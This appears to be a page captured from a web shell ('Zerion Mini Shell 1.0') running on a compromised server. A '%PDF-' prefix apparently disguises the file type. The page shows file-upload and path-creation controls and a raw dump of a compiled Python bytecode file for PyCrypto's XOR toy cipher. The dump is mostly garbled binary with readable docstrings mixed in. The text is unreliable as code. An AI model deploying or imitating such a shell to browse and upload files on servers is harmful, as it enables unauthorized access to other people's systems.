%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/__pycache__/XOR.cpython-37.pyc

B

��]�
�@s<dZdZddlmZGdd�d�Zdd�ZdZedd	�Zd
S)z�XOR toy cipher

XOR is one the simplest stream ciphers. Encryption and decryption are
performed by XOR-ing data with a keystream made by contatenating
the key.

Do not use it for real applications!

:undocumented: __revision__, __package__
z$Id$�)�_XORc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�	XORCipherzXOR cipher objectcOs,tj|f|�|�|_|jj|_|jj|_dS)zUInitialize a XOR cipher object
        
        See also `new()` at the module level.N)r�new�_cipher�
block_size�key_size)�self�key�args�kwargs�r�D/opt/alt/python37/lib64/python3.7/site-packages/Crypto/Cipher/XOR.py�__init__(s
zXORCipher.__init__cCs|j�|�S)z�Encrypt a piece of data.

        :Parameters:
          plaintext : byte string
            The piece of data to encrypt. It can be of any size.
        :Return: the encrypted data (byte string, as long as the
          plaintext).
        )r�encrypt)rZ	plaintextrrr
r0s	zXORCipher.encryptcCs|j�|�S)z�Decrypt a piece of data.

        :Parameters:
          ciphertext : byte string
            The piece of data to decrypt. It can be of any size.
        :Return: the decrypted data (byte string, as long as the
          ciphertext).
        )r�decrypt)rZ
ciphertextrrr
r;s	zXORCipher.decryptN)�__name__�
__module__�__qualname__�__doc__rrrrrrr
r%srcOst|f|�|�S)z�Create a new XOR cipher

    :Parameters:
      key : byte string
        The secret key to use in the symmetric cipher.
        Its length may vary from 1 to 32 bytes.

    :Return: an `XORCipher` object
    )r)r	r
rrrr
rFs
r��!N)	r�__revision__Z
Crypto.Cipherrrrr�rangerrrrr
�<module>s!


Zerion Mini Shell 1.0